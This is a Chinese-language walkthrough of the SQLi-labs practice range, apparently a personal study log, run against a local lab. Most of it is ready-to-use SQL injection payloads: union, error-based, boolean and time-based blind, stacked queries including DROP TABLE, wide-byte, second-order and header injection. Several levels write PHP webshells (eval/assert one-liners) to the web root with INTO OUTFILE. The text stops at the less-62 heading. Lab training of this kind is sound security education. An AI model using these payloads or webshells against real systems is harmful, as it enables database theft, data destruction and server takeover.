一些靶场练习

SQL-labs靶场系列

less-1(联合注入)

SQLI-labs数据库类型为mysql

根据提示输入数字值的ID作为参数,我们输入?id=1

判断是否存在SQL注入:

分别输入?id=1    ?id=2

根据返回结果的不同判断出我们的参数是成功被带入语句查询的

判断sql语句是否是拼接,是字符型还是数字型。

输入?id=1'

根据提示将后面的limit进行注释

?id=1'--+

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

第一步:判断列数

?id=1'order by 3 --+     ?id=1'order by 4 --+

到四就出现出错,所以判断为3列

第二步:爆出显示位

?id=-1'union select 1,2,3--+

判断出显示位为2,3

第三步:查询数据库名字,版本

?id=-1'union select 1,database(),version()--+

名字为security、版本为8.0,存在information_schema数据库

第四步:查询表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

说明security数据库下存在四个表,其中user表可能存在用户信息

第五步:查询列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+

说明存在该数据库中的user表存在三个字段

第六步:查询数据

这一步不再需要联合注入,因为通过最初的注入判断,我们可以知道我们当前查询的位置其实就是在security数据库中

?id=-1' union select 1,2,group_concat(username,id , password) from users--+

成功爆出用户名和密码

less-5(报错注入)

可以发现输入id值得不到回显的结果,于是猜测查询结果被后端进行了处理

第一步:判断注入类型

分别输入http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=1--+
和http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=2--+
可以发现为字符型注入

第二步:爆出相关数据库信息—采用报错注入

http://127.0.0.1/sqli-labs/Less-5/?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+   
得到数据库用户名,同样的方法获取数据库版本和数据库名

第三步:利用报错注入进行数据库表名、列名数据的获取

http://127.0.0.1/sqli-labs/Less-5/?id=1' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --+
这里注意加limit是为了让报错注入能回显结果,不加的话可能只会结果太多会提示字句返回超过1行

然后依次变化limit后的值为0,1,2,3,4。。。直到不再产生回显

试到4时就没有回显,故因此可知该数据库共有三个表,第三个为user表,于是开始users表的列名

1' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='table_name' LIMIT 0,1))) --+
这样爆出的结果也只有一个,需要跟上述爆表名步骤一样对limit后面的值依次进行变化,知道无回显

可以看到字段数为3个分别是id,username、password,最后可以开始获取数据值了

爆出第一个用户的用户名和密码
http://127.0.0.1/sqli-labs/Less-5/?id=1' AND extractvalue(1, concat(0x7e, (SELECT username from users limit 0,1),0x7e)) --+
http://127.0.0.1/sqli-labs/Less-5/?id=1' AND extractvalue(1, concat(0x7e, (SELECT password from users limit 0,1),0x7e)) --+
其他用户的也是如此

less-6(布尔盲注)

同样输入参数ID值也是没有回显,于是先利用布尔盲注猜解

http://127.0.0.1/sqli-labs/Less-6/?id=1" and 1=2 --+
判断为”的字符型注入

先猜解数据库版本

http://127.0.0.1/sqli-labs/Less-6/?id=1" AND substring(version(), 1, 1) = '8' --+
回显正确,故数据库版本是8.0以上,存在information_schema数据库

于是先猜解数据库长度

http://127.0.0.1/sqli-labs/Less-6/?id=1" and length(database())<8 --+  回显报错
http://127.0.0.1/sqli-labs/Less-6/?id=1" and length(database())<9 --+ 回显正常

于是猜测数据库长度为8,于是开始猜解数据库名称,可以采用二分法

http://127.0.0.1/sqli-labs/Less-6/?id=1"and ord(mid(database(),1,1)) < 200 --+  
http://127.0.0.1/sqli-labs/Less-6/?id=1"and ord(mid(database(),1,1)) > 100 --+
上述两条语句能确定数据库名称第一个字符ascii码小于200大于100,依次采用二分法能确定出最后的范围 确定出数据库名首字符为s
然后确定数据库名第二个字符、第三个字符。。。到第八个字符
http://127.0.0.1/sqli-labs/Less-6/?id=1"and ord(mid(database(),2,1)) =101--+ 第二个字符为e
最后依次确定拼接可得到security

于是开始猜解表的总数和表名(同样也可以用二分法确定)

http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 4  --+ 

得到表的总数为4,于是开始猜解表名长度

猜解第一个表名的长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 6 --+
猜解第二个表名长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 8 --+
猜解第三个表名长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 2,1) = 7 --+
猜解第四个表名长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1) = 5 --+

然后得到第一、二、三、四表名长度分别是6、8、7、5,于是开始猜解表名,这个过程比较复杂,这里一笔带过

猜解第四个表名
首字符:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 3,1 ),1,1) = 'u' --+
第二个字符:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 3,1 ),1,1) = 's' --+
最后得到表名为users

最后猜解列名长度

猜解第一个列名长度
http://127.0.0.1/sqli-labs/Less-6/?id=1" AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1) = 2 --+
猜解第二个列明长度
http://127.0.0.1/sqli-labs/Less-6/?id=1" AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 1,1) = 2 --+

最后得到该表中有三个列名长度分别为2、8、8。于是最后猜解列名,(一般首先就想到username、password)

http://127.0.0.1/sqli-labs/Less-6/?id=1"AND ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 1,1), 1, 1)) =117  --+

通过猜解第一个字符可以发现的确是u,明显就是username。最后便可以猜解数据值

http://127.0.0.1/sqli-labs/Less-6/?id=1" AND ascii(substring((SELECT username FROM users LIMIT 0,1), 0, 1)) = 68 --+

最后得到username列的第一个数据值首字符为D,同样方法猜解后和密码可得到用户名Dumb和密码Dumb

同样这类问题也能使用延时注入猜解也能解决这个问题

1" AND IF(ascii(substring((SELECT username FROM users LIMIT 0,1), 1, 1)) = 68, SLEEP(5), 0) --+

less-7(文件导入)

判断注入类型 字符型
http://127.0.0.1/sqli-labs/Less-7/?id=1')) and 1=2 --+
http://127.0.0.1/sqli-labs/Less-7/?id=1')) and 1=1 --+

根据提示use outfile判断应该是进行文件读写

http://127.0.0.1/sqli-labs/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+

爆字段值:到4报错说明有三个字段

?id=1')) order by 3--+

找绝对路径,由于要得到网站的绝对路径,我这里用靶场第二关来获得绝对路径。@@basedir是安装MYSQL的安装路径,@@datadir是安装MYSQL的数据文件路径,这里利用第二关的获取到靶场文件路径

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir--+

于是推断路径为D:\phpStudy_64\phpstudy_pro\WWW\sqli-labs\Less-7

然后测试文件读写,运行后可以发现在文件夹中创建了q.txt文件,并写入了查询内容

http://127.0.0.1/sqli-labs/Less-7/?id=-1 UNION SELECT version(),database(),user() into outfile "D:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\q.txt" --+

然后编写一句话木马,直接将一句话木马导入进去。两个//是防转义

union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D://phpStudy_64//phpstudy_pro//WWW//sqli-labs//Less-7//shell.php"--+

或者
union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\shell.php"--+

注意:这里需要提前开启php靶场允许文件读写的设置

我们可以在文件中看到一句话木马已经导入进去了

此时用菜刀、蚁剑等 webshell 管理工具连接即可

less-9(时间盲注)

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
?id=1' and if(1=2,sleep(5),1)--+

根据回显时长可知存在注入

判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
?id=1'and if(length((select database()))>7,sleep(5),1)--+

最后可知到数据库名字长度为8

逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
最后得到数据库名称为security

然后判断所有表的表名长度之和

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

然后逐一判断表名

?id=1'and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users

然后判断字段长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

然后判断逐一字段名猜测 users 表的列:

?id=1'and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password

然后逐一检测内容猜测 username 的值:

?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容

less-11(POST注入)

进入发现是一个登陆框的注入类型

随便输入一个用户名和密码出现下图:登陆失败

输入1′ 和 1 得到提示信息

说明应该是单引号闭合方式,且注入的参数是通过POST方式提交。

抓包,得到:

开始注入
uname=ele' order by 2#&passwd=pass&submit=Submit,没有报错
uname=ele' order by 3#&passwd=pass&submit=Submit,报错了,从而知道查询结果是两列

然后采用union注入依次爆出数据库、表、列名

爆出数据库为security
uname=1' union select version(),database()#&passwd=pass&submit=Submit
爆出该数据库下表名有四个
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security'#&passwd=pass&submit=Submit
爆出user表中的列名
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='userS'#&passwd=pass&submit=Submit
爆出数据库的用户内容
uname=ele' union select group_concat(username),group_concat(password) from users#&passwd=pass&submit=Submit

less-13(无回显的POST盲注)

本关我们输入 username:admin’ Password: (随便输)

我们可以知道程序对 id 进行了 ‘) 的处理。我们可以明显的看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。

那我们这里可以用下布尔类型的盲注。用order by可知这里也是两列数据

然后与less-7一样即可,同样也可以用报错注入和时间盲注

less-17(增删改查)

本关我们可以看到是一个修改密码的过程,利用的是 update 语句,与在用 select 时是一样的,我们仅需要将原先的闭合,构造自己的 payload。

根据updata的语法:

updata 表名 set 列名='新的值,非数字加单引号' ;
带条件的修改:updata 表名 set 列名='新的值,非数字加单引号' where id=6;

输入Username:admin Password:1’测试

可以看到 admin’’ 说明在对密码的处理过程中使用的是 ‘’ 。接下来利用盲注进行注入。这里首先演示一下报错类型的盲注。

爆出数据库版本
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&sub
mit=Submit
同理也得到数据库名为security
爆出数据库表
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit
爆出users表的列名
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&submit=Submit
爆数据
uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit

出现回显: “You can’t specify target table ‘users’ for update in FROM clause”。

这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit

通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit

这道题给出源码:

$uname = check_input($_POST['uname']);  
$passwd = $_POST['passwd'];

// connectivity
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

//echo $row;
if($row)
{
    //echo '<font color= "#0000ff">';
    $row1 = $row['username'];
    //echo 'Your Login name:'. $row1;
    $update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
    mysql_query($update);
    //echo "<br>";

    if (mysql_error())
    {
          echo '<font color= "#FFFF00" font size = 3 >';
          print_r(mysql_error());
          echo "</br></br>";
          echo "</font>";
    }
    else
    {
          echo '<font color= "#FFFF00" font size = 3 >';
          //echo " You password has been successfully updated " ;
          echo "<br>";
  echo "</font>";
    }
     
    echo '<img src="../images/flag1.jpg"   />';
    //echo 'Your Password:' .$row['password'];
    echo "</font>";
}
else  
{
    echo '<font size="4.5" color="#FFFF00">';
    //echo "Bug off you Silly Dumb hacker";
    echo "</br>";
    echo '<img src="../images/slap1.jpg"   />';
    echo "</font>";  
}
服务器先对用户名进行查询,若用户名存在则用传进的参数 passwd 覆盖掉原来的密码。也就是说只有当第一个 SELECT 执行成功时,UPDATE 语句才会被执行。为什么我们无法对 SELECT 语句进行注入?注意到 SELECT 是针对 uname 参数进行查询,但是当 uname 参数被传入时进入了 check_input() 函数,从而怀疑 check_input() 函数对传入的字符串进行了过滤。
function check_input($value)
{
    if(!empty($value))
    {
          // truncation (see comments)
          $value = substr($value,0,15);
    }

    // Stripslashes if magic quotes enabled
    if (get_magic_quotes_gpc())
    {
          $value = stripslashes($value);
    }
     
    // Quote if not a number
    if (!ctype_digit($value))
    {
          $value = "'" . mysql_real_escape_string($value) . "'";
    }
    else
    {
          $value = intval($value);
    }
    return $value;
}
check_input() 函数#
可以明显看到该函数对 uname 参数进行了强效的过滤。首先函数使用了 substr() 函数截取 uname 的前 15 位字符,限制了 uname 的输入长度。接着使用 get_magic_quotes_gpc() 函数判断 “magic_quotes_gpc” 是否是开启的,若是开启的就使用 stripslashes() 函数对单引号、双引号、反斜杠与 NULL等危险的字符进行转义。接着使用 ctype_digit() 函数判断 uname 是否为数字,若不是数字就使用 mysql_real_escape_string() 函数对字符进行转义,否则就使用 intval() 函数把数字转换为整型。

由此可见对 SELECT 语句的过滤是很强的,我们把通过 uname 参数注入 “a’ OR 1 = 1#” 经过滤处理的 SELECT 语句输出来看看。可以看到经过转义,我们无法从该语句进行注入。

但是 UPDATE 语句并没有进行过滤,因此当我们可以绕过 SELECT 语句时,就可以通过 UPDATE 进行注入。为了加深理解,我们把注入后闭合的 UPDATE 语句输出来看看。

UPDATE users SET password = '' OR updatexml(1,concat("!",database()),2)#' WHERE username='admin'

Less-18(HTTP头部注入)

源码中可以看到如下部分:

代码对参数Uname和password进行了过滤,但是在ip地址上并没有进行过滤,于是思路大概可以从ip地址获取注入方向。接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。

判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#

密码上的注入也都是错误,但是抓包,注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。

User-Agent: '

到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。

由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。

注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。

User-Agent: ''

在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。

User-Agent: ' OR updatexml(1,concat("!",database()),2) OR ' 

知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR ' 

爆字段名,继续使用 updatexml() 报错注入。

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR ' 

使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR ' 
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
完整源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    if($row1)
    {
          echo '<font color= "#FFFF00" font size = 3 >';
  $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  mysql_query($insert);
  //echo 'Your IP ADDRESS is: ' .$IP;
  echo "</font>";
  //echo "<br>";
          echo '<font color= "#0000ff" font size = 3 >';
  echo 'Your User Agent is: ' .$uagent;
  echo "</font>";
  echo "<br>";
  print_r(mysql_error());
  echo "<br><br>";
  echo '<img src="../images/flag.jpg" />';
  echo "<br>";
    }
    else
    {
          echo '<font color= "#0000ff" font size="3">';
  //echo "Try again looser";
  print_r(mysql_error());
  echo "</br>";
  echo "</br>";
  echo '<img src="../images/slap.jpg"   />';
  echo "</font>";  
    }
}
不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。

为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' OR updatexml(1,concat("!",database()),2) OR '', '127.0.0.1', 'admin')

less-23(注释符过滤)

?id=1  回显正常
?id=1' 回显不正常
?id=1'#回显也不正常,说明注释符可能被过滤
?id=1' and '1'='1 回显正常
?id=1' and '1'='2 回显失败
存在注入且注释符被过滤,为字符型注入

那么这里就不能再用order by 去猜测回显列数,因为注释符被过滤

?id=-1' union select 1,2,3 or '1'='1
通过不停加数字判断最后根据页面显示是三列,且显示位是2号。

开始注入

查询数据库版本和名称
?id=-1' union select 1,database(),3 or '1'='1

之后利用联合注入配合mysql的information数据库进行查询即可

less-24(二次注入)

第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义

这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。

首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin。我们先注册一个账号名叫admin’#。

我们先注册一个账号名叫admin’#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

之后也用户名admin’#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

这样就可以成功登陆进入admin账户

less-25(关键字过滤)

根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可以写成infoorrmation。

http://192.168.34.202/sqli-labs/Less-25/?id=-1' union select 1,2,3--+
回显位为2,3
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

less-26(空格过滤)

第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。空格绕过网上找了些资料,对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,我在windows和kali里面都用不了,可能是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   爆表

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0     爆字段

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0   爆密码账户

less-29(参数验证)

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段

?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
爆密码账户

less-32(宽字节注入+魔术引号)

第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1″会变成id=1″,使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

?id=-1%df' or 1=2 --+回显失败
?id=-1%df' or 1=1 --+回显正常
?id=-1%df%27%20union%20select%201,database(),3%20--+

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

less-34(post方式的宽字节注入)

三十四关是post提交,使用addslashes函数对于账户和密码都进行转义,使用宽字节注入就行。

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名


1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户

less–35(编码)

使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段

?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

less-38(堆叠注入)

三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+  查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+   查询密码账户

less-42(堆叠注入)

Update 更新数据后,经过 mysql_real_escape_string()处理后的数据,存入到数据库当中后不

会发生变化。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这

关和二次注入的思路是不一样的。

本关从 login.php 源代码中分析可知:

Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录

的时候密码选项我们可以进行 attack。

登录用户名随意

密码登录用以下的方式 c’;drop table me#

(删除 me 表)

c’;create table me like users#

(创建一个 me 的表)

下面这张图是我们没有登录时数据库当中存在的表

此处登录 username:admin

Password:c’;create table less42 like users#

原 sql 语句为

$sql = “SELECT * FROM users WHERE username=’$username’ and password=’$password'”;

登录时构造的 sql 语句为

SELECT * FROM users WHERE username=’admin’ and password=’c’;create table less42 like users#

利用 stacked injection,我们成功执行创建数据表 less42 的语句。

从下图可以看出 show tables 后已经成功创建 less42 表。

利用 c’;drop table me#作为登录密码,删除该表。

同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

less-46(order by注入)

试试sort值分别取1,2,3,就能发现,这关的参数是order by后面的值,也就是说,这关的sort参数值表示根据表的哪一列来排列查询结果

比如下图sort的值为3,表示根据第三列,也就是PASSWORD的大小来排序查询结果

order by后面是不能接union select的,可以试试会不会报sql语法错误,如果会报,就可以用报错注入。

?sort=3'
报了sql语法错误,根据报错信息,本关无闭合符号。
下面就可以用报错注入的方法来爆数据了:
#获取服务器上所有数据库的名称
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)

?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)

?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)

#获取security数据库的所有表名称
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security),1,31),0x7e),1)

?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=security'),32,31),0x7e),1)

#获取security数据库users表的所有列名称
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)

#获取security数据库users表的uname和password列的所有值
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)

?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)

?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)
写webshell可以用下面的payload:
?sort=3 limit 0,1 into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E

服务器上被写入的webshell

less-49(与46一样,不过改成延时注入)

四十九关和四十六一样只不过没有报错显示,所以使用延时注入。且多出一个单引号

?sort=1"  回显正常
?sort=1' 回显失败
且 ?sort=1'--+ 回显正常
说明为单引号验证方式

尝试布尔盲注

?sort=1' and rand(1)-- s
?sort=1' and rand(0)-- s
两者回显结果也都一样,看来没有错误提示,于是采用时间盲注
?sort=1' and if(0,sleep(0.1),1)
?sort=1' and if(1,sleep(0.1),1)
第一条payload回显无时延,第二条有时延

剩下的就和其他时间盲注类似了,或者文件上传

?sort=1' into outfile "c:\\wamp\\www\\sqllib\\test. php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

less-54(限次数注入)

五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
一个表名
v2ong09mwi
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='v2ong09mwi'--+  爆列名
四个字段:
id,secret_VB0D,sessid,tryy
?id=-1'union select 1,group_concat(secret_VB0D),3 from v2ong09mwi--+  获取key值

然后将获取到的key值提交即可

less-58(数组)

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+  爆库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='v2ong09mwi'),0x7e),1)--+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VB0D) from v2ong09mwi),0x7e),1)--+

less-62(综合)

